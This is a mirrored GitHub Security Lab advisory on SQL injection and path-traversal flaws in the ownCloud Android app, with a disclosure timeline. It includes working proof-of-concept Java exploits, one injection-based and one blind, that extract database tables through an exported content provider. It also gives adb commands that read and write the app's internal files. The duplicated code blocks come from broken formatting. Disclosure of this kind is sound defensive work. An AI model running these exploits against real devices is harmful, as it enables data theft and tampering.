1

GHSL-2022-059_GHSL-2022-060: SQL injection vulnerabilities in Owncloud Android a...

 1 year ago
source link: https://movaxbx.ru/2023/02/17/ghsl-2022-059_ghsl-2022-060-sql-injection-vulnerabilities-in-owncloud-android-app-cve-2023-24804-cve-2023-23948/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Original text by GitHub Security Lab

Coordinated Disclosure Timeline

  • 2022-07-26: Issues notified to ownCloud through HackerOne.
  • 2022-08-01: Report receipt acknowledged.
  • 2022-09-07: We request a status update for GHSL-2022-059.
  • 2022-09-08: ownCloud says that they are still working on the fix for GHSL-2022-059.
  • 2022-10-26: We request a status update for GHSL-2022-060.
  • 2022-10-27: ownCloud says that they are still working on the fix for GHSL-2022-060.
  • 2022-11-28: We request another status update for GHSL-2022-059.
  • 2022-11-28: ownCloud says that the fix for GHSL-2022-059 will be published in the next release.
  • 2022-12-12: Version 3.0 is published.
  • 2022-12-20: We verify that version 3.0 fixed GHSL-2022-060.
  • 2022-12-20: We verify that the fix for GHSL-2022-059 was not included in the release. We ask ownCloud about it.
  • 2023-01-31: ownCloud informs us that in 3.0 the filelist database was deprecated (empty, only used for migrations from older versions) and planned to be removed in a future version.
  • 2023-01-31: We answer that, while that would mitigate one of the reported injections, the other one affects the 

    owncloud_database

     database, which remains relevant.

  • 2023-02-2: Publishing advisories as per our disclosure policy.

Summary

The Owncloud Android app uses content providers to manage its data. The provider 

FileContentProvider

 has SQL injection vulnerabilities that allow malicious applications or users in the same device to obtain internal information of the app.

The app also handles externally-provided files in the activity 

ReceiveExternalFilesActivity

, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the application’s internal storage.

Product

Owncloud Android app

Tested Version

v2.21.1

Details

Issue 1: SQL injection in 

FileContentProvider.kt

 (

GHSL-2022-059

)

FileContentProvider

 provider is exported, as can be seen in the Android Manifest:

<provider
android:name=".providers.FileContentProvider"
android:authorities="@string/authority"
android:enabled="true"
android:exported="true"
android:label="@string/sync_string_files"
android:syncable="true" />
<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true" />

All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several user-controller parameters end up reaching an unsafe SQL method that allows for SQL injection.

The 

delete

 method

User input enters the content provider through the three parameters of this method:

override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {
override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {
where

 parameter reaches the following dangerous arguments without sanitization:

private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
// --snip--
when (uriMatcher.match(uri)) {
SINGLE_FILE -> {
// --snip--
count = db.delete(
ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID +
uri.pathSegments[1] +
if (!TextUtils.isEmpty(where))
" AND ($where)" // injection
"", whereArgs
DIRECTORY -> {
// --snip--
count += db.delete(
ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID + "=" +
uri.pathSegments[1] +
if (!TextUtils.isEmpty(where))
" AND ($where)" // injection
"", whereArgs
ROOT_DIRECTORY ->
count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
SHARES -> count =
OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
// --snip--
// --snip--
private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
    // --snip--
    when (uriMatcher.match(uri)) {
        SINGLE_FILE -> {
            // --snip--
            count = db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID +
                        "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        DIRECTORY -> {
            // --snip--
            count += db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID + "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        ROOT_DIRECTORY ->
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
        SHARES -> count =
            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
        CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
        QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
        // --snip--
    }
    // --snip--
}

The 

insert

 method

User input enters the content provider through the two parameters of this method:

override fun insert(uri: Uri, values: ContentValues?): Uri? {
override fun insert(uri: Uri, values: ContentValues?): Uri? {
values

 parameter reaches the following dangerous arguments without sanitization:

private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
when (uriMatcher.match(uri)) {
ROOT_DIRECTORY, SINGLE_FILE -> {
// --snip--
return if (!doubleCheck.moveToFirst()) {
// --snip--
val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
// --snip--
// --snip--
// --snip--
CAPABILITIES -> {
val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
// --snip--
UPLOADS -> {
val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
// --snip--
CAMERA_UPLOADS_SYNC -> {
val cameraUploadId = db.insert(
ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
values // injection
// --snip--
QUOTAS -> {
val quotaId = db.insert(
ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
values // injection
// --snip--
// --snip--
private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
    when (uriMatcher.match(uri)) {
        ROOT_DIRECTORY, SINGLE_FILE -> {
            // --snip--
            return if (!doubleCheck.moveToFirst()) {
                // --snip--
                val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
                // --snip--
            }
            // --snip--
        }
        // --snip--

        CAPABILITIES -> {
            val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
            // --snip--
        }

        UPLOADS -> {
            val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
            // --snip--
        }

        CAMERA_UPLOADS_SYNC -> {
            val cameraUploadId = db.insert(
                ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        QUOTAS -> {
            val quotaId = db.insert(
                ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        // --snip--
    }
}

The 

query

 method

User input enters the content provider through the five parameters of this method:

override fun query(
uri: Uri,
projection: Array<String>?,
selection: String?,
selectionArgs: Array<String>?,
sortOrder: String?
): Cursor {
override fun query(
    uri: Uri,
    projection: Array<String>?,
    selection: String?,
    selectionArgs: Array<String>?,
    sortOrder: String?
): Cursor {
selection

 and 

sortOrder

 parameters reach the following dangerous arguments without sanitization (note that 

projection

 is safe because of the use of a projection map):

SHARES -> {
val supportSqlQuery = SupportSQLiteQueryBuilder
.builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
.columns(computeProjection(projection))
.selection(selection, selectionArgs) // injection
.orderBy(
if (TextUtils.isEmpty(sortOrder)) {
sortOrder // injection
} else {
ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
).create()
// To use full SQL queries within Room
val newDb: SupportSQLiteDatabase =
OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
return newDb.query(supportSqlQuery)
SHARES -> {
    val supportSqlQuery = SupportSQLiteQueryBuilder
        .builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
        .columns(computeProjection(projection))
        .selection(selection, selectionArgs) // injection
        .orderBy(
            if (TextUtils.isEmpty(sortOrder)) {
                sortOrder // injection
            } else {
                ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
            }
        ).create()

    // To use full SQL queries within Room
    val newDb: SupportSQLiteDatabase =
        OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
    return newDb.query(supportSqlQuery)
}
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)

The 

update

 method

User input enters the content provider through the four parameters of this method:

override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {
values

 and 

selection

 parameters reach the following dangerous arguments without sanitization:

private fun update(
db: SQLiteDatabase,
uri: Uri,
values: ContentValues?,
selection: String?,
selectionArgs: Array<String>?
): Int {
if (selection != null && selectionArgs == null) {
throw IllegalArgumentException("Selection not allowed, use parameterized queries")
when (uriMatcher.match(uri)) {
DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
SHARES -> return values?.let {
OwncloudDatabase.getDatabase(context!!).shareDao()
.update(OCShareEntity.fromContentValues(it)).toInt()
CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
UPLOADS -> {
val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
trimSuccessfulUploads(db)
return ret
CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
else -> return db.update(
ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
private fun update(
        db: SQLiteDatabase,
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<String>?
): Int {
    if (selection != null && selectionArgs == null) {
        throw IllegalArgumentException("Selection not allowed, use parameterized queries")
    }
    when (uriMatcher.match(uri)) {
        DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
        SHARES -> return values?.let {
            OwncloudDatabase.getDatabase(context!!).shareDao()
                .update(OCShareEntity.fromContentValues(it)).toInt()
        } ?: 0
        CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
        UPLOADS -> {
            val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
            trimSuccessfulUploads(db)
            return ret
        }
        CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
        QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
        else -> return db.update(
            ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
        )
    }
}

Impact

There are two databases affected by this vulnerability: 

filelist

 and 

owncloud_database

.

Since the tables in 

filelist

 are affected by the injections in the 

insert

 and 

update

 methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the 

Resources

 section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.

Regarding the tables in 

owncloud_database

, there are two that are not accessible through the content provider: 

room_master_table

 and 

folder_backup

. An attacker can exploit the vulnerability in the 

query

 method to exfiltrate data from those. Since the 

strictMode

 is enabled in the 

query

method, the attacker needs to use a Blind SQL injection attack to succeed (see the 

Resources

section for a PoC).

In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps already, since the 

FileContentProvider

 is exported and does not require any permissions.

Resources

SQL injection in 
filelist

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

filelist

 database exploiting the issues mentioned above:

package com.example.test;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;
public class OwncloudProviderExploit {
public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
ContentValues updateValues = new ContentValues();
updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
"FROM " + tableName + ") " +
"WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
Log.e("test", "" + ctx.getContentResolver().update(
result, updateValues, null, null));
String query = query(ctx, new String[]{"path"},
"_id=?", new String[]{result.getLastPathSegment()});
deleteFile(ctx, result.getLastPathSegment());
return query;
public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
projection,
selection,
selectionArgs,
null)) {
if (mCursor == null) {
Log.e("evil", "mCursor is null");
return "0";
StringBuilder output = new StringBuilder();
while (mCursor.moveToNext()) {
for (int i = 0; i < mCursor.getColumnCount(); i++) {
String column = mCursor.getColumnName(i);
String value = mCursor.getString(i);
output.append("|").append(column).append(":").append(value);
output.append("\n");
return output.toString();
private static ContentValues newOwncloudFile() throws Exception {
ContentValues values = new ContentValues();
values.put("parent", "a");
values.put("filename", "a");
values.put("created", "a");
values.put("modified", "a");
values.put("modified_at_last_sync_for_data", "a");
values.put("content_length", "a");
values.put("content_type", "a");
values.put("media_path", "a");
values.put("path", "a");
values.put("file_owner", "a");
values.put("last_sync_date", "a");
values.put("last_sync_date_for_data", "a");
values.put("etag", "a");
values.put("share_by_link", "a");
values.put("shared_via_users", "a");
values.put("permissions", "a");
values.put("remote_id", "a");
values.put("update_thumbnail", "a");
values.put("is_downloading", "a");
values.put("etag_in_conflict", "a");
return values;
public static String deleteFile(Context ctx, String id) throws Exception {
ctx.getContentResolver().delete(
Uri.parse("content://org.owncloud/file/" + id),
null,
return "1";
package com.example.test;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("evil", "mCursor is null");
                return "0";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    private static ContentValues newOwncloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        return values;
    }

    public static String deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.owncloud/file/" + id),
                null,
                null
        );
        return "1";
    }
}

By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:

  • Create a new file entry in 

    FileContentProvider

    .

  • Exploit the SQL Injection in the 

    update

     method to set the 

     of the recently created file to the values of 

    columnName

     in the table 

    tableName

    .

  • Query the 

     of the modified file entry to obtain the desired values.

  • Delete the file entry.

For instance, 

exploit(context, "name", "SQLITE_MASTER WHERE type="table")

 would return all the tables in the 

filelist

 database.

Blind SQL injection in 
owncloud_database

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

owncloud_database

 database exploiting the issues mentioned above using a Blind SQL injection technique:

package com.example.test;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;
public class OwncloudProviderExploit {
public static String blindExploit(Context ctx) {
String output = "";
String chars = "abcdefghijklmopqrstuvwxyz0123456789";
while (true) {
int outputLength = output.length();
for (int i = 0; i < chars.length(); i++) {
char candidate = chars.charAt(i);
String attempt = String.format("%s%c%s", output, candidate, "%");
try (Cursor mCursor = ctx.getContentResolver().query(
Uri.parse("content://org.owncloud/shares"),
null,
"'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
new String[]{"a"}, null)) {
if (mCursor == null) {
Log.e("ProviderHelper", "mCursor is null");
return "0";
if (mCursor.getCount() > 0) {
output += candidate;
Log.i("evil", output);
break;
if (output.length() == outputLength)
break;
return output;
package com.example.test;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "abcdefghijklmopqrstuvwxyz0123456789";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }

}

Issue 2: Insufficient path validation in 

ReceiveExternalFilesActivity.java

 (

GHSL-2022-060

)

Access to arbitrary files in the app’s internal storage fix bypass

ReceiveExternalFilesActivity

 handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the 

"android.intent.extra.STREAM

 extra to force the application to upload its internal files, like 

com.owncloud.android_preferences.xml

. To fix it, the following code was added:

private void prepareStreamsToUpload() {
// --snip--
for (Uri stream : mStreamsToUpload) {
String streamToUpload = stream.toString();
if (streamToUpload.contains("/data") &&
streamToUpload.contains(getPackageName()) &&
!streamToUpload.contains(getCacheDir().getPath())
finish();
private void prepareStreamsToUpload() {
    // --snip--

    for (Uri stream : mStreamsToUpload) {
        String streamToUpload = stream.toString();
        if (streamToUpload.contains("/data") &&
                streamToUpload.contains(getPackageName()) &&
                !streamToUpload.contains(getCacheDir().getPath())
        ) {
            finish();
        }
    }
}

This protection can be bypassed in two ways:

  • Using the path returned by 

    getCacheDir()

     in the payload, e.g. 

    "file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"

    .

  • Using a content provider URI that uses the 

    org.owncloud.files

     provider to access the app’s internal 

     folder, e.g. 

    "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"

    .

With those payloads, the original issue can be still exploited with the same impact.

Write of arbitrary   files in the app’s internal storage

Additionally, there’s another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app’s internal storage.

When uploading a plain text file, the following code is executed, using the user-provided text at 

input

 to save the file:

ReceiveExternalFilesActivity:920
private void showUploadTextDialog() {
// --snip--
final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
// --snip--
setFileNameFromIntent(alertDialog, input);
alertDialog.setOnShowListener(dialog -> {
Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
button.setOnClickListener(view -> {
// --snip--
} else {
fileName += ".txt";
Uri fileUri = savePlainTextToFile(fileName);
mStreamsToUpload.clear();
mStreamsToUpload.add(fileUri);
uploadFiles();
inputLayout.setErrorEnabled(error != null);
inputLayout.setError(error);
alertDialog.show();
private void showUploadTextDialog() {
        // --snip--
        final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
        // --snip--
        setFileNameFromIntent(alertDialog, input);
        alertDialog.setOnShowListener(dialog -> {
            Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
            button.setOnClickListener(view -> {
                // --snip--
                } else {
                    fileName += ".txt";
                    Uri fileUri = savePlainTextToFile(fileName);
                    mStreamsToUpload.clear();
                    mStreamsToUpload.add(fileUri);
                    uploadFiles();
                }
                inputLayout.setErrorEnabled(error != null);
                inputLayout.setError(error);
            });
        });
        alertDialog.show();
    }

By reviewing 

savePlainTextToFile

, it can be seen that the plain text file is momentarily saved in the app’s cache, but the destination path is built using the user-provided 

fileName

:

ReceiveExternalFilesActivity:983
private Uri savePlainTextToFile(String fileName) {
Uri uri = null;
String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
File tmpFile = new File(getCacheDir(), fileName); // here
FileOutputStream outputStream = new FileOutputStream(tmpFile);
outputStream.write(content.getBytes());
outputStream.close();
uri = Uri.fromFile(tmpFile);
} catch (IOException e) {
Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
return uri;
private Uri savePlainTextToFile(String fileName) {
    Uri uri = null;
    String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
    try {
        File tmpFile = new File(getCacheDir(), fileName); // here
        FileOutputStream outputStream = new FileOutputStream(tmpFile);
        outputStream.write(content.getBytes());
        outputStream.close();
        uri = Uri.fromFile(tmpFile);

    } catch (IOException e) {
        Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
    }
    return uri;
}

An attacker can exploit this using a path traversal attack to write arbitrary text files into the app’s internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the 

 extension, limiting the impact.

Impact

These issues may lead to information disclosure when uploading the app’s internal files, and to arbitrary file write when uploading plain text files (although limited by the 

 extension).

Resources

The following PoC demonstrates how to upload arbitrary files from the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"

The following PoC demonstrates how to upload arbitrary files from the app’s internal 

files

directory:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"

The following PoC demonstrates how to write an arbitrary 

test.txt

 text file to the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"

Credit

These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at 

, please include a reference to 

GHSL-2022-059

 or 

GHSL-2022-060

 in any communication regarding these issues.

Поделиться ссылкой:

Понравилось это:

Загрузка...

Похожее


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK